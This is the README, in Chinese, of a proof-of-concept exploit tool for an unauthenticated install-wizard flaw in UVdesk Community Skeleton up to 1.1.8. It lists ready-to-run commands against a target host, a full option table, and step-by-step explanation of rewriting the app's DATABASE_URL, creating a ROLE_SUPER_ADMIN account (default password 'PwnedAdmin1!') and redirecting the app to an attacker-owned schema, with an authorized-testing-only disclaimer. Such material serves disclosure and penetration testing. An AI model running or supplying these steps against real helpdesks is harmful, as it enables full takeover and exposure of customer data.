UVdesk 未授权向导超级管理员 POC
UVdesk Community Skeleton 至 1.1.8 版本 —— 安装向导 XHR(ConfigureHelpdesk)没有身份验证,也没有安装状态检查。未授权的调用者可以重写 DATABASE_URL 并创建一个 ROLE_SUPER_ADMIN。没有公开的修复标签(v1.1.9 返回 404)。
仅限授权测试使用。请勿对您不拥有或未获得测试许可的系统运行此工具。
依赖: Python 3,仅使用标准库。
python3 cve-2026-92805-uvdesk-wizard-admin.py -u http://TARGET --test
python3 cve-2026-92805-uvdesk-wizard-admin.py -u http://TARGET --admin --email [email protected] --password 'PwnedAdmin1!'
python3 cve-2026-92805-uvdesk-wizard-admin.py -u https://TARGET --test --insecure
python3 cve-2026-92805-uvdesk-wizard-admin.py -u TARGET --test
| 参数 | 作用 |
|---|---|
-u / --url | 帮助台基础 URL(必填)。http:// 或 https://。不带协议的主机名会先尝试 HTTPS,再尝试 HTTP。http→https 重定向会保留 POST。错误的 TLS 证书会在不验证的情况下重试;--insecure 从一开始就跳过验证 |
--test | 仅指纹识别:POST /wizard/xhr/check-requirements(specification=php-version)。不写入 .env,不创建用户 |
--admin | 完整向导链:将数据库和超级用户存入 PHP 会话,写入 DATABASE_URL,执行迁移,创建 ROLE_SUPER_ADMIN |
--email / --password / --name | 要创建的超级管理员(默认 [email protected] / PwnedAdmin1! / Pwned Admin) |
--db-host / --db-port / --db-user / --db-pass / --db-name | PHP 应用所看到的 MySQL 连接信息(默认 127.0.0.1:3306 / uvdesk / uvdesk / uvdesk) |
--create-db | 如果架构缺失,请求向导执行 CREATE DATABASE |
--insecure | 跳过 TLS 验证 |
--timeout | HTTP 超时秒数(默认 120;迁移可能较慢) |
--test 端点:POST /wizard/xhr/check-requirements。返回 200 JSON 且包含 "version" / "status" 即为 PRESENT / VULNERABLE。它从不访问 load/configurations 或 load/super-user。安装完成后,GET / 会从向导 HTML 重定向离开;但 XHR 路由仍然响应。这就是漏洞所在。
--admin 是未授权的。向导以为自己是首次运行的安装程序。--db-* 不是您机器上的 MySQL 客户端;它们被提交到应用,以便 PHP 能够连接(同主机 127.0.0.1 是常见情况)。
您不必发现现有的架构名称。--db-name 是您选择的名称(默认 uvdesk)。--create-db 设置向导的 createDatabase 标志,以便 PHP 在该名称缺失时执行 CREATE DATABASE。不使用 --create-db 时,名称缺失会返回 NEED_DB(“未找到请求的数据库”)。创建新名称需要具有 CREATE 权限的 MySQL 用户(一个被锁定的 uvdesk@localhost 仅对 uvdesk.* 有权限,可以复用 uvdesk,但可能无法创建 uvdesk_pwn)。--test 从不与 MySQL 通信。
如果该架构上已存在超级管理员,load/super-user 将不执行任何操作 —— --create-db 加上新的 --db-name 会建立一个您拥有的架构,并将 DATABASE_URL 指向它。
标准输出:UVDESK、WIZARD_PAGE、PHP、STATUS、PRESENT、VULNERABLE、NOT_VULNERABLE、NOT_FOUND、NEED_DB、ADMIN、LOGIN。
